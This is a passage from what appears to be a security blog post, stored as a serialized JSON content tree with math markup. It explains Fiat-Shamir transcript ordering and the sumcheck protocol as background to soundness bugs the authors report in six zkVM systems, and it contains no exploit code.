3,"tag":213,"props":108270,"children":108272},{"className":108271},[21788],[108273],{"type":28,"value":2121},{"type":23,"tag":213,"props":108275,"children":108277},{"className":108276,"style":4282},[4184],[],{"type":23,"tag":213,"props":108279,"children":108281},{"className":108280},[4287],[108282],{"type":28,"value":22383},{"type":23,"tag":213,"props":108284,"children":108286},{"className":108285,"style":4282},[4184],[],{"type":23,"tag":213,"props":108288,"children":108290},{"className":108289},[4092],[108291,108295],{"type":23,"tag":213,"props":108292,"children":108294},{"className":108293,"style":21632},[4097],[],{"type":23,"tag":213,"props":108296,"children":108299},{"className":108297,"style":108298},[4103,21637],"margin-right:0.22222em;",[108300],{"type":28,"value":6255},{"type":23,"tag":24,"props":108302,"children":108303},{},[108304],{"type":28,"value":108305},"where:",{"type":23,"tag":168,"props":108307,"children":108308},{},[108309,108339,108369,108399],{"type":23,"tag":135,"props":108310,"children":108311},{},[108312,108337],{"type":23,"tag":209,"props":108313,"children":108315},{"className":108314},[4076,4077],[108316],{"type":23,"tag":213,"props":108317,"children":108319},{"className":108318},[4082],[108320],{"type":23,"tag":213,"props":108321,"children":108323},{"className":108322,"ariaHidden":1710},[4087],[108324],{"type":23,"tag":213,"props":108325,"children":108327},{"className":108326},[4092],[108328,108332],{"type":23,"tag":213,"props":108329,"children":108331},{"className":108330,"style":21632},[4097],[],{"type":23,"tag":213,"props":108333,"children":108335},{"className":108334,"style":21638},[4103,21637],[108336],{"type":28,"value":21641},{"type":28,"value":108338}," = program/circuit description (public)",{"type":23,"tag":135,"props":108340,"children":108341},{},[108342,108367],{"type":23,"tag":209,"props":108343,"children":108345},{"className":108344},[4076,4077],[108346],{"type":23,"tag":213,"props":108347,"children":108349},{"className":108348},[4082],[108350],{"type":23,"tag":213,"props":108351,"children":108353},{"className":108352,"ariaHidden":1710},[4087],[108354],{"type":23,"tag":213,"props":108355,"children":108357},{"className":108356},[4092],[108358,108362],{"type":23,"tag":213,"props":108359,"children":108361},{"className":108360,"style":21632},[4097],[],{"type":23,"tag":213,"props":108363,"children":108365},{"className":108364,"style":95120},[4103,21637],[108366],{"type":28,"value":6225},{"type":28,"value":108368}," = public input",{"type":23,"tag":135,"props":108370,"children":108371},{},[108372,108397],{"type":23,"tag":209,"props":108373,"children":108375},{"className":108374},[4076,4077],[108376],{"type":23,"tag":213,"props":108377,"children":108379},{"className":108378},[4082],[108380],{"type":23,"tag":213,"props":108381,"children":108383},{"className":108382,"ariaHidden":1710},[4087],[108384],{"type":23,"tag":213,"props":108385,"children":108387},{"className":108386},[4092],[108388,108392],{"type":23,"tag":213,"props":108389,"children":108391},{"className":108390,"style":21632},[4097],[],{"type":23,"tag":213,"props":108393,"children":108395},{"className":108394,"style":108298},[4103,21637],[108396],{"type":28,"value":6255},{"type":28,"value":108398}," = claimed public output",{"type":23,"tag":135,"props":108400,"children":108401},{},[108402,108427],{"type":23,"tag":209,"props":108403,"children":108405},{"className":108404},[4076,4077],[108406],{"type":23,"tag":213,"props":108407,"children":108409},{"className":108408},[4082],[108410],{"type":23,"tag":213,"props":108411,"children":108413},{"className":108412,"ariaHidden":1710},[4087],[108414],{"type":23,"tag":213,"props":108415,"children":108417},{"className":108416},[4092],[108418,108422],{"type":23,"tag":213,"props":108419,"children":108421},{"className":108420,"style":21632},[4097],[],{"type":23,"tag":213,"props":108423,"children":108425},{"className":108424,"style":21638},[4103,21637],[108426],{"type":28,"value":6079},{"type":28,"value":108428}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":108430,"children":108431},{},[108432,108434,108438],{"type":28,"value":108433},"The verifier does ",{"type":23,"tag":95,"props":108435,"children":108436},{},[108437],{"type":28,"value":18540},{"type":28,"value":108439}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":108441,"children":108442},{},[108443,108445,108450],{"type":28,"value":108444},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":95,"props":108446,"children":108447},{},[108448],{"type":28,"value":108449},"soundness",{"type":28,"value":277},{"type":23,"tag":168,"props":108452,"children":108453},{},[108454,108464],{"type":23,"tag":135,"props":108455,"children":108456},{},[108457,108462],{"type":23,"tag":95,"props":108458,"children":108459},{},[108460],{"type":28,"value":108461},"Completeness",{"type":28,"value":108463},": honest execution verifies.",{"type":23,"tag":135,"props":108465,"children":108466},{},[108467,108472],{"type":23,"tag":95,"props":108468,"children":108469},{},[108470],{"type":28,"value":108471},"Soundness",{"type":28,"value":108473},": false execution should not verify.",{"type":23,"tag":24,"props":108475,"children":108476},{},[108477,108479,108483],{"type":28,"value":108478},"We are breaking ",{"type":23,"tag":95,"props":108480,"children":108481},{},[108482],{"type":28,"value":108449},{"type":28,"value":108484}," in all six systems.",{"type":23,"tag":24,"props":108486,"children":108487},{},[108488],{"type":28,"value":108489},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":131,"props":108491,"children":108492},{},[108493,108498,108503,108508,108513,108518],{"type":23,"tag":135,"props":108494,"children":108495},{},[108496],{"type":28,"value":108497},"Fix public statement data.",{"type":23,"tag":135,"props":108499,"children":108500},{},[108501],{"type":28,"value":108502},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":135,"props":108504,"children":108505},{},[108506],{"type":28,"value":108507},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":135,"props":108509,"children":108510},{},[108511],{"type":28,"value":108512},"Check constraint equations at sampled points.",{"type":23,"tag":135,"props":108514,"children":108515},{},[108516],{"type":28,"value":108517},"Check PCS/opening consistency.",{"type":23,"tag":135,"props":108519,"children":108520},{},[108521],{"type":28,"value":108522},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":108524,"children":108525},{},[108526],{"type":23,"tag":4009,"props":108527,"children":108530},{"alt":108528,"src":108529},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":108532,"children":108533},{},[108534],{"type":28,"value":108535},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":18845,"props":108537,"children":108538},{},[],{"type":23,"tag":47,"props":108540,"children":108542},{"id":108541},"the-building-blocks",[108543],{"type":28,"value":108544},"The Building Blocks",{"type":23,"tag":24,"props":108546,"children":108547},{},[108548],{"type":28,"value":108549},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":9693,"props":108551,"children":108553},{"id":108552},"the-fiat-shamir-transform",[108554],{"type":28,"value":108555},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":108557,"children":108558},{},[108559],{"type":28,"value":108560},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":108562,"children":108563},{},[108564],{"type":28,"value":108565},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":108567,"children":108568},{},[108569],{"type":23,"tag":4009,"props":108570,"children":108573},{"alt":108571,"src":108572},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":108575,"children":108576},{},[108577,108579,108583,108585,108590],{"type":28,"value":108578},"The hash (transcript) ",{"type":23,"tag":95,"props":108580,"children":108581},{},[108582],{"type":28,"value":6612},{"type":28,"value":108584}," include everything that affects verification ",{"type":23,"tag":95,"props":108586,"children":108587},{},[108588],{"type":28,"value":108589},"BEFORE",{"type":28,"value":108591}," the challenges derived from it are used.",{"type":23,"tag":24,"props":108593,"children":108594},{},[108595,108597,108623,108625,108650,108652,108677,108679,108704,108706,108731],{"type":28,"value":108596},"If some value ",{"type":23,"tag":209,"props":108598,"children":108600},{"className":108599},[4076,4077],[108601],{"type":23,"tag":213,"props":108602,"children":108604},{"className":108603},[4082],[108605],{"type":23,"tag":213,"props":108606,"children":108608},{"className":108607,"ariaHidden":1710},[4087],[108609],{"type":23,"tag":213,"props":108610,"children":108612},{"className":108611},[4092],[108613,108617],{"type":23,"tag":213,"props":108614,"children":108616},{"className":108615,"style":21632},[4097],[],{"type":23,"tag":213,"props":108618,"children":108620},{"className":108619,"style":108298},[4103,21637],[108621],{"type":28,"value":108622},"V",{"type":28,"value":108624}," affects a verification equation, but ",{"type":23,"tag":209,"props":108626,"children":108628},{"className":108627},[4076,4077],[108629],{"type":23,"tag":213,"props":108630,"children":108632},{"className":108631},[4082],[108633],{"type":23,"tag":213,"props":108634,"children":108636},{"className":108635,"ariaHidden":1710},[4087],[108637],{"type":23,"tag":213,"props":108638,"children":108640},{"className":108639},[4092],[108641,108645],{"type":23,"tag":213,"props":108642,"children":108644},{"className":108643,"style":21632},[4097],[],{"type":23,"tag":213,"props":108646,"children":108648},{"className":108647,"style":108298},[4103,21637],[108649],{"type":28,"value":108622},{"type":28,"value":108651}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":209,"props":108653,"children":108655},{"className":108654},[4076,4077],[108656],{"type":23,"tag":213,"props":108657,"children":108659},{"className":108658},[4082],[108660],{"type":23,"tag":213,"props":108661,"children":108663},{"className":108662,"ariaHidden":1710},[4087],[108664],{"type":23,"tag":213,"props":108665,"children":108667},{"className":108666},[4092],[108668,108672],{"type":23,"tag":213,"props":108669,"children":108671},{"className":108670,"style":21632},[4097],[],{"type":23,"tag":213,"props":108673,"children":108675},{"className":108674,"style":108298},[4103,21637],[108676],{"type":28,"value":108622},{"type":28,"value":108678},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":209,"props":108680,"children":108682},{"className":108681},[4076,4077],[108683],{"type":23,"tag":213,"props":108684,"children":108686},{"className":108685},[4082],[108687],{"type":23,"tag":213,"props":108688,"children":108690},{"className":108689,"ariaHidden":1710},[4087],[108691],{"type":23,"tag":213,"props":108692,"children":108694},{"className":108693},[4092],[108695,108699],{"type":23,"tag":213,"props":108696,"children":108698},{"className":108697,"style":21632},[4097],[],{"type":23,"tag":213,"props":108700,"children":108702},{"className":108701,"style":108298},[4103,21637],[108703],{"type":28,"value":108622},{"type":28,"value":108705},", which may allow it to choose ",{"type":23,"tag":209,"props":108707,"children":108709},{"className":108708},[4076,4077],[108710],{"type":23,"tag":213,"props":108711,"children":108713},{"className":108712},[4082],[108714],{"type":23,"tag":213,"props":108715,"children":108717},{"className":108716,"ariaHidden":1710},[4087],[108718],{"type":23,"tag":213,"props":108719,"children":108721},{"className":108720},[4092],[108722,108726],{"type":23,"tag":213,"props":108723,"children":108725},{"className":108724,"style":21632},[4097],[],{"type":23,"tag":213,"props":108727,"children":108729},{"className":108728,"style":108298},[4103,21637],[108730],{"type":28,"value":108622},{"type":28,"value":108732}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":108734,"children":108735},{},[108736],{"type":28,"value":108737},"This is the bug class we found in all six systems.",{"type":23,"tag":9693,"props":108739,"children":108741},{"id":108740},"the-sumcheck-protocol",[108742],{"type":28,"value":108743},"The Sumcheck Protocol",{"type":23,"tag":24,"props":108745,"children":108746},{},[108747,108749,108835],{"type":28,"value":108748},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":209,"props":108750,"children":108752},{"className":108751},[4076,4077],[108753],{"type":23,"tag":213,"props":108754,"children":108756},{"className":108755},[4082],[108757],{"type":23,"tag":213,"props":108758,"children":108760},{"className":108759,"ariaHidden":1710},[4087],[108761],{"type":23,"tag":213,"props":108762,"children":108764},{"className":108763},[4092],[108765,108769,108774,108779,108784,108788,108793],{"type":23,"tag":213,"props":108766,"children":108768},{"className":108767,"style":4205},[4097],[],{"type":23,"tag":213,"props":108770,"children":108772},{"className":108771},[21766],[108773],{"type":28,"value":76671},{"type":23,"tag":213,"props":108775,"children":108777},{"className":108776},[4103],[108778],{"type":28,"value":4116},{"type":23,"tag":213,"props":108780,"children":108782},{"className":108781},[4216],[108783],{"type":28,"value":4219},{"type":23,"tag":213,"props":108785,"children":108787},{"className":108786,"style":4223},[4184],[],{"type":23,"tag":213,"props":108789,"children":108791},{"className":108790},[4103],[108792],{"type":28,"value":4106},{"type":23,"tag":213,"props":108794,"children":108796},{"className":108795},[21788],[108797,108802],{"type":23,"tag":213,"props":108798,"children":108800},{"className":108799},[21788],[108801],{"type":28,"value":34197},{"type":23,"tag":213,"props":108803,"children":108805},{"className":108804},[4120],[108806],{"type":23,"tag":213,"props":108807,"children":108809},{"className":108808},[4125],[108810],{"type":23,"tag":213,"props":108811,"children":108813},{"className":108812},[4130],[108814],{"type":23,"tag":213,"props":108815,"children":108818},{"className":108816,"style":108817},[4135],"height:0.6644em;",[108819],{"type":23,"tag":213,"props":108820,"children":108821},{"style":4139},[108822,108826],{"type":23,"tag":213,"props":108823,"children":108825},{"className":108824,"style":4145},[4144],[],{"type":23,"tag":213,"props":108827,"children":108829},{"className":108828},[4150,4151,4152,4153],[108830],{"type":23,"tag":213,"props":108831,"children":108833},{"className":108832},[4103,21637,4153],[108834],{"type":28,"value":56456},{"type":28,"value":108836},"), i.e the claim:",{"type":23,"tag":24,"props":108838,"children":108839},{},[108840],{"type":23,"tag":209,"props":108841,"children":108843},{"className":108842},[4076,4077],[108844],{"type":23,"tag":213,"props":108845,"children":108847},{"className":108846},[4082],[108848],{"type":23,"tag":213,"props":108849,"children":108851},{"className":108850,"ariaHidden":1710},[4087],[108852,108878],{"type":23,"tag":213,"props":108853,"children":108855},{"className":108854},[4092],[108856,108860,108865,108869,108874],{"type":23,"tag":213,"props":108857,"children":108859},{"className":108858,"style":21632},[4097],[],{"type":23,"tag":213,"props":108861,"children":108863},{"className":108862,"style":93334},[4103,21637],[108864],{"type":28,"value":93337},{"type":23,"tag":213,"props":108866,"children":108868},{"className":108867,"style":4282},[4184],[],{"type":23,"tag":213,"props":108870,"children":108872},{"className":108871},[4287],[108873],{"type":28,"value":3190},{"type":23,"tag":213,"props":108875,"children":108877},{"className":108876,"style":4282},[4184],[],{"type":23,"tag":213,"props":108879,"children":108881},{"className":108880},[4092],[108882,108886,109036,109040,109183,109187,109194,109198,109342,109346,109352,109357,109414,109419,109423,109480,109485,109489,109495,109499,109504,109508,109566],{"type":23,"tag":213,"props":108883,"children":108885},{"className":108884,"style":21668},[4097],[],{"type":23,"tag":213,"props":108887,"children":108889},{"className":108888},[21673],[108890,108896],{"type":23,"tag":213,"props":108891,"children":108893},{"className":108892,"style":21680},[21673,21678,21679],[108894],{"type":28,"value":108895},"∑",{"type":23,"tag":213,"props":108897,"children":108899},{"className":108898},[4120],[108900],{"type":23,"tag":213,"props":108901,"children":108903},{"className":108902},[4125,21691],[108904,109025],{"type":23,"tag":213,"props":108905,"children":108907},{"className":108906},[4130],[108908,109020],{"type":23,"tag":213,"props":108909,"children":108911},{"className":108910,"style":21700},[4135],[108912],{"type":23,"tag":213,"props":108913,"children":108914},{"style":21704},[108915,108919],{"type":23,"tag":213,"props":108916,"children":108918},{"className":108917,"style":4145},[4144],[],{"type":23,"tag":213,"props":108920,"children":108922},{"className":108921},[4150,4151,4152,4153],[108923],{"type":23,"tag":213,"props":108924,"children":108926},{"className":108925},[4103,4153],[108927,108990,108995,109000,109005,109010,109015],{"type":23,"tag":213,"props":108928,"children":108930},{"className":108929},[4103,4153],[108931,108936],{"type":23,"tag":213,"props":108932,"children":108934},{"className":108933},[4103,21637,4153],[108935],{"type":28,"value":19329},{"type":23,"tag":213,"props":108937,"children":108939},{"className":108938},[4120],[108940],{"type":23,"tag":213,"props":108941,"children":108943},{"className":108942},[4125,21691],[108944,108978],{"type":23,"tag":213,"props":108945,"children":108947},{"className":108946},[4130],[108948,108973],{"type":23,"tag":213,"props":108949,"children":108952},{"className":108950,"style":108951},[4135],"height:0.3173em;",[108953],{"type":23,"tag":213,"props":108954,"children":108956},{"style":108955},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108957,108962],{"type":23,"tag":213,"props":108958,"children":108961},{"className":108959,"style":108960},[4144],"height:2.5em;",[],{"type":23,"tag":213,"props":108963,"children":108967},{"className":108964},[4150,108965,108966,4153],"reset-size3","size1",[108968],{"type":23,"tag":213,"props":108969,"children":108971},{"className":108970},[4103,4153],[108972],{"type":28,"value":4106},{"type":23,"tag":213,"props":108974,"children":108976},{"className":108975},[21794],[108977],{"type":28,"value":21797},{"type":23,"tag":213,"props":108979,"children":108981},{"className":108980},[4130],[108982],{"type":23,"tag":213,"props":108983,"children":108986},{"className":108984,"style":108985},[4135],"height:0.143em;",[108987],{"type":23,"tag":213,"props":108988,"children":108989},{},[],{"type":23,"tag":213,"props":108991,"children":108993},{"className":108992},[4287,4153],[108994],{"type":28,"value":21744},{"type":23,"tag":213,"props":108996,"children":108998},{"className":108997},[21766,4153],[108999],{"type":28,"value":76671},{"type":23,"tag":213,"props":109001,"children":109003},{"className":109002},[4103,4153],[109004],{"type":28,"value":4116},{"type":23,"tag":213,"props":109006,"children":109008},{"className":109007},[4216,4153],[109009],{"type":28,"value":4219},{"type":23,"tag":213,"props":109011,"children":109013},{"className":109012},[4103,4153],[109014],{"type":28,"value":4106},{"type":23,"tag":213,"props":109016,"children":109018},{"className":109017},[21788,4153],[109019],{"type":28,"value":34197},{"type":23,"tag":213,"props":109021,"children":109023},{"className":109022},[21794],[109024],{"type":28,"value":21797},{"type":23,"tag":213,"props":109026,"children":109028},{"className":109027},[4130],[109029],{"type":23,"tag":213,"props":109030,"children":109032},{"className":109031,"style":21805},[4135],[109033],{"type":23,"tag":213,"props":109034,"children":109035},{},[],{"type":23,"tag":213,"props":109037,"children":109039},{"className":109038,"style":4223},[4184],[],{"type":23,"tag":213,"props":109041,"children":109043},{"className":109042},[21673],[109044,109049],{"type":23,"tag":213,"props":109045,"children":109047},{"className":109046,"style":21680},[21673,21678,21679],[109048],{"type":28,"value":108895},{"type":23,"tag":213,"props":109050,"children":109052},{"className":109051},[4120],[109053],{"type":23,"tag":213,"props":109054,"children":109056},{"className":109055},[4125,21691],[109057,109172],{"type":23,"tag":213,"props":109058,"children":109060},{"className":109059},[4130],[109061,109167],{"type":23,"tag":213,"props":109062,"children":109064},{"className":109063,"style":21700},[4135],[109065],{"type":23,"tag":213,"props":109066,"children":109067},{"style":21704},[109068,109072],{"type":23,"tag":213,"props":109069,"children":109071},{"className":109070,"style":4145},[4144],[],{"type":23,"tag":213,"props":109073,"children":109075},{"className":109074},[4150,4151,4152,4153],[109076],{"type":23,"tag":213,"props":109077,"children":109079},{"className":109078},[4103,4153],[109080,109137,109142,109147,109152,109157,109162],{"type":23,"tag":213,"props":109081,"children":109083},{"className":109082},[4103,4153],[109084,109089],{"type":23,"tag":213,"props":109085,"children":109087},{"className":109086},[4103,21637,4153],[109088],{"type":28,"value":19329},{"type":23,"tag":213,"props":109090,"children":109092},{"className":109091},[4120],[109093],{"type":23,"tag":213,"props":109094,"children":109096},{"className":109095},[4125,21691],[109097,109126],{"type":23,"tag":213,"props":109098,"children":109100},{"className":109099},[4130],[109101,109121],{"type":23,"tag":213,"props":109102,"children":109104},{"className":109103,"style":108951},[4135],[109105],{"type":23,"tag":213,"props":109106,"children":109107},{"style":108955},[109108,109112],{"type":23,"tag":213,"props":109109,"children":109111},{"className":109110,"style":108960},[4144],[],{"type":23,"tag":213,"props":109113,"children":109115},{"className":109114},[4150,108965,108966,4153],[109116],{"type":23,"tag":213,"props":109117,"children":109119},{"className":109118},[4103,4153],[109120],{"type":28,"value":3221},{"type":23,"tag":213,"props":109122,"children":109124},{"className":109123},[21794],[109125],{"type":28,"value":21797},{"type":23,"tag":213,"props":109127,"children":109129},{"className":109128},[4130],[109130],{"type":23,"tag":213,"props":109131,"children":109133},{"className":109132,"style":108985},[4135],[109134],{"type":23,"tag":213,"props":109135,"children":109136},{},[],{"type":23,"tag":213,"props":109138,"children":109140},{"className":109139},[4287,4153],[109141],{"type":28,"value":21744},{"type":23,"tag":213,"props":109143,"children":109145},{"className":109144},[21766,4153],[109146],{"type":28,"value":76671},{"type":23,"tag":213,"props":109148,"children":109150},{"className":109149},[4103,4153],[109151],{"type":28,"value":4116},{"type":23,"tag":213,"props":109153,"children":109155},{"className":109154},[4216,4153],[109156],{"type":28,"value":4219},{"type":23,"tag":213,"props":109158,"children":109160},{"className":109159},[4103,4153],[109161],{"type":28,"value":4106},{"type":23,"tag":213,"props":109163,"children":109165},{"className":109164},[21788,4153],[109166],{"type":28,"value":34197},{"type":23,"tag":213,"props":109168,"children":109170},{"className":109169},[21794],[109171],{"type":28,"value":21797},{"type":23,"tag":213,"props":109173,"children":109175},{"className":109174},[4130],[109176],{"type":23,"tag":213,"props":109177,"children":109179},{"className":109178,"style":21805},[4135],[109180],{"type":23,"tag":213,"props":109181,"children":109182},{},[],{"type":23,"tag":213,"props":109184,"children":109186},{"className":109185,"style":4223},[4184],[],{"type":23,"tag":213,"props":109188,"children":109191},{"className":109189},[109190],"minner",[109192],{"type":28,"value":109193},"⋯",{"type":23,"tag":213,"props":109195,"children":109197},{"className":109196,"style":4223},[4184],[],{"type":23,"tag":213,"props":109199,"children":109201},{"className":109200},[21673],[109202,109207],{"type":23,"tag":213,"props":109203,"children":109205},{"className":109204,"style":21680},[21673,21678,21679],[109206],{"type":28,"value":108895},{"type":23,"tag":213,"props":109208,"children":109210},{"className":109209},[4120],[109211],{"type":23,"tag":213,"props":109212,"children":109214},{"className":109213},[4125,21691],[109215,109331],{"type":23,"tag":213,"props":109216,"children":109218},{"className":109217},[4130],[109219,109326],{"type":23,"tag":213,"props":109220,"children":109222},{"className":109221,"style":21700},[4135],[109223],{"type":23,"tag":213,"props":109224,"children":109225},{"style":21704},[109226,109230],{"type":23,"tag":213,"props":109227,"children":109229},{"className":109228,"style":4145},[4144],[],{"type":23,"tag":213,"props":109231,"children":109233},{"className":109232},[4150,4151,4152,4153],[109234],{"type":23,"tag":213,"props":109235,"children":109237},{"className":109236},[4103,4153],[109238,109296,109301,109306,109311,109316,109321],{"type":23,"tag":213,"props":109239,"children":109241},{"className":109240},[4103,4153],[109242,109247],{"type":23,"tag":213,"props":109243,"children":109245},{"className":109244},[4103,21637,4153],[109246],{"type":28,"value":19329},{"type":23,"tag":213,"props":109248,"children":109250},{"className":109249},[4120],[109251],{"type":23,"tag":213,"props":109252,"children":109254},{"className":109253},[4125,21691],[109255,109285],{"type":23,"tag":213,"props":109256,"children":109258},{"className":109257},[4130],[109259,109280],{"type":23,"tag":213,"props":109260,"children":109263},{"className":109261,"style":109262},[4135],"height:0.1645em;",[109264],{"type":23,"tag":213,"props":109265,"children":109266},{"style":108955},[109267,109271],{"type":23,"tag":213,"props":109268,"children":109270},{"className":109269,"style":108960},[4144],[],{"type":23,"tag":213,"props":109272,"children":109274},{"className":109273},[4150,108965,108966,4153],[109275],{"type":23,"tag":213,"props":109276,"children":109278},{"className":109277},[4103,21637,4153],[109279],{"type":28,"value":56456},{"type":23,"tag":213,"props":109281,"children":109283},{"className":109282},[21794],[109284],{"type":28,"value":21797},{"type":23,"tag":213,"props":109286,"children":109288},{"className":109287},[4130],[109289],{"type":23,"tag":213,"props":109290,"children":109292},{"className":109291,"style":108985},[4135],[109293],{"type":23,"tag":213,"props":109294,"children":109295},{},[],{"type":23,"tag":213,"props":109297,"children":109299},{"className":109298},[4287,4153],[109300],{"type":28,"value":21744},{"type":23,"tag":213,"props":109302,"children":109304},{"className":109303},[21766,4153],[109305],{"type":28,"value":76671},{"type":23,"tag":213,"props":109307,"children":109309},{"className":109308},[4103,4153],[109310],{"type":28,"value":4116},{"type":23,"tag":213,"props":109312,"children":109314},{"className":109313},[4216,4153],[109315],{"type":28,"value":4219},{"type":23,"tag":213,"props":109317,"children":109319},{"className":109318},[4103,4153],[109320],{"type":28,"value":4106},{"type":23,"tag":213,"props":109322,"children":109324},{"className":109323},[21788,4153],[109325],{"type":28,"value":34197},{"type":23,"tag":213,"props":109327,"children":109329},{"className":109328},[21794],[109330],{"type":28,"value":21797},{"type":23,"tag":213,"props":109332,"children":109334},{"className":109333},[4130],[109335],{"type":23,"tag":213,"props":109336,"children":109338},{"className":109337,"style":21805},[4135],[109339],{"type":23,"tag":213,"props":109340,"children":109341},{},[],{"type":23,"tag":213,"props":109343,"children":109345},{"className":109344,"style":4223},[4184],[],{"type":23,"tag":213,"props":109347,"children":109349},{"className":109348,"style":93586},[4103,21637],[109350],{"type":28,"value":109351},"g",{"type":23,"tag":213,"props":109353,"children":109355},{"className":109354},[21766],[109356],{"type":28,"value":265},{"type":23,"tag":213,"props":109358,"children":109360},{"className":109359},[4103],[109361,109366],{"type":23,"tag":213,"props":109362,"children":109364},{"className":109363},[4103,21637],[109365],{"type":28,"value":19329},{"type":23,"tag":213,"props":109367,"children":109369},{"className":109368},[4120],[109370],{"type":23,"tag":213,"props":109371,"children":109373},{"className":109372},[4125,21691],[109374,109403],{"type":23,"tag":213,"props":109375,"children":109377},{"className":109376},[4130],[109378,109398],{"type":23,"tag":213,"props":109379,"children":109381},{"className":109380,"style":93152},[4135],[109382],{"type":23,"tag":213,"props":109383,"children":109384},{"style":93156},[109385,109389],{"type":23,"tag":213,"props":109386,"children":109388},{"className":109387,"style":4145},[4144],[],{"type":23,"tag":213,"props":109390,"children":109392},{"className":109391},[4150,4151,4152,4153],[109393],{"type":23,"tag":213,"props":109394,"children":109396},{"className":109395},[4103,4153],[109397],{"type":28,"value":4106},{"type":23,"tag":213,"props":109399,"children":109401},{"className":109400},[21794],[109402],{"type":28,"value":21797},{"type":23,"tag":213,"props":109404,"children":109406},{"className":109405},[4130],[109407],{"type":23,"tag":213,"props":109408,"children":109410},{"className":109409,"style":93183},[4135],[109411],{"type":23,"tag":213,"props":109412,"children":109413},{},[],{"type":23,"tag":213,"props":109415,"children":109417},{"className":109416},[4216],[109418],{"type":28,"value":4219},{"type":23,"tag":213,"props":109420,"children":109422},{"className":109421,"style":4223},[4184],[],{"type":23,"tag":213,"props":109424,"children":109426},{"className":109425},[4103],[109427,109432],{"type":23,"tag":213,"props":109428,"children":109430},{"className":109429},[4103,21637],[109431],{"type":28,"value":19329},{"type":23,"tag":213,"props":109433,"children":109435},{"className":109434},[4120],[109436],{"type":23,"tag":213,"props":109437,"children":109439},{"className":109438},[4125,21691],[109440,109469],{"type":23,"tag":213,"props":109441,"children":109443},{"className":109442},[4130],[109444,109464],{"type":23,"tag":213,"props":109445,"children":109447},{"className":109446,"style":93152},[4135],[109448],{"type":23,"tag":213,"props":109449,"children":109450},{"style":93156},[109451,109455],{"type":23,"tag":213,"props":109452,"children":109454},{"className":109453,"style":4145},[4144],[],{"type":23,"tag":213,"props":109456,"children":109458},{"className":109457},[4150,4151,4152,4153],[109459],{"type":23,"tag":213,"props":109460,"children":109462},{"className":109461},[4103,4153],[109463],{"type":28,"value":3221},{"type":23,"tag":213,"props":109465,"children":109467},{"className":109466},[21794],[109468],{"type":28,"value":21797},{"type":23,"tag":213,"props":109470,"children":109472},{"className":109471},[4130],[109473],{"type":23,"tag":213,"props":109474,"children":109476},{"className":109475,"style":93183},[4135],[109477],{"type":23,"tag":213,"props":109478,"children":109479},{},[],{"type":23,"tag":213,"props":109481,"children":109483},{"className":109482},[4216],[109484],{"type":28,"value":4219},{"type":23,"tag":213,"props":109486,"children":109488},{"className":109487,"style":4223},[4184],[],{"type":23,"tag":213,"props":109490,"children":109492},{"className":109491},[109190],[109493],{"type":28,"value":109494},"…",{"type":23,"tag":213,"props":109496,"children":109498},{"className":109497,"style":4223},[4184],[],{"type":23,"tag":213,"props":109500,"children":109502},{"className":109501},[4216],[109503],{"type":28,"value":4219},{"type":23,"tag":213,"props":109505,"children":109507},{"className":109506,"style":4223},[4184],[],{"type":23,"tag":213,"props":109509,"children":109511},{"className":109510},[4103],[109512,109517],{"type":23,"tag":213,"props":109513,"children":109515},{"className":109514},[4103,21637],[109516],{"type":28,"value":19329},{"type":23,"tag":213,"props":109518,"children":109520},{"className":109519},[4120],[109521],{"type":23,"tag":213,"props":109522,"children":109524},{"className":109523},[4125,21691],[109525,109555],{"type":23,"tag":213,"props":109526,"children":109528},{"className":109527},[4130],[109529,109550],{"type":23,"tag":213,"props":109530,"children":109533},{"className":109531,"style":109532},[4135],"height:0.1514em;",[109534],{"type":23,"tag":213,"props":109535,"children":109536},{"style":93156},[109537,109541],{"type":23,"tag":213,"props":109538,"children":109540},{"className":109539,"style":4145},[4144],[],{"type":23,"tag":213,"props":109542,"children":109544},{"className":109543},[4150,4151,4152,4153],[109545],{"type":23,"tag":213,"props":109546,"children":109548},{"className":109547},[4103,21637,4153],[109549],{"type":28,"value":56456},{"type":23,"tag":213,"props":109551,"children":109553},{"className":109552},[21794],[109554],{"type":28,"value":21797},{"type":23,"tag":213,"props":109556,"children":109558},{"className":109557},[4130],[109559],{"type":23,"tag":213,"props":109560,"children":109562},{"className":109561,"style":93183},[4135],[109563],{"type":23,"tag":213,"props":109564,"children":109565},{},[],{"type":23,"tag":213,"props":109567,"children":109569},{"className":109568},[21788],[109570],{"type":28,"value":2121},{"type":23,"tag":24,"props":109572,"children":109573},{},[109574,109576,109637],{"type":28,"value":109575},"The naive approach would be for the verifier to compute all 